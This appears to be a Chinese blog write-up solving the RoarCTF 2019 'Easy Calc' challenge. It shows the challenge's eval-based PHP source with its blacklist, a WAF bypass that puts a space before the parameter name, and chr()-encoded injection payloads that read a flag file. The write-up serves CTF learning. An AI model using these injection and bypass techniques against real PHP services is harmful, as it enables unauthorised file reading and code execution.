[CTF][RoarCTF 2019]Easy Calc 1

解题思路

1 尝试
看网页源码,有set waf的提示信息。
尝试各种注入,发现几种不同的报错,基本确定单引号、双引号等关键符号被过滤。
让人很费解的是只要是字母都会报错。在这一步上没有有效思路。

2 搜索
带着前面尝试的结果进行搜索,发现对于网页源码中对于waf的提示没有有效利用,因为搜索结果大部分提到这种情况,试用变量名前面加%20(空格)即可绕过,试了下确实如此。重新尝试注入,这次可以输入字母,但是各种命令都会被拦截。一次无意中的误输入%20写成了$返回了calc.php的源码。

  <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

从源码中可以看出,确实各种命令需要用到的各种符号都被过滤了。再次各种搜索解决方法,有针对各种符号或关键字的过滤,但是没有本题这么变态的,没有找到有效信息。(搜到原题,都会直接跳过)

3 再次尝试
某个瞬间,之前搜索的时候被忽略的方法,被想了起来,即试用chr方法代替被过滤的关键字。潜意识中,觉得这种方法必须靠谱,只是没想到过程会如此漫长。源于对PHP的无知。
废话不多说了,过程比较曲折在于,总是使用chr(0x27)去直接替换单引号’,导致本地尝试的时候一直报错,最终发现原因所在,使用用类似scandir(chr(0x2e))方法的时候,chr(0x2e)作为一个字符串值返回,是相当于加上了单引号的,在这种情况下,如果还加上chr(0x27),无疑会出现字符串错误。
最终:

   1;?><?=print_r(readfile(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)));?>
   1print_r(readfile(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)));

两种方法都可以。(当然,已经拿到源码了,相信还有其它更多方法)

总结:
首先还是PHP不熟;另外就是对于注入的方法或者技巧不熟,这些用于PHP的注入技巧,相信也会应用到其它类型的注入中;同理,其他类型的注入技巧,也可以应用到PHP注入中。只不过对于一些关键的场景,比如字符串这种,引号这种关键点,竟然被耽误这么久才想到,有点不能容忍。。。叹,道阻且长。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值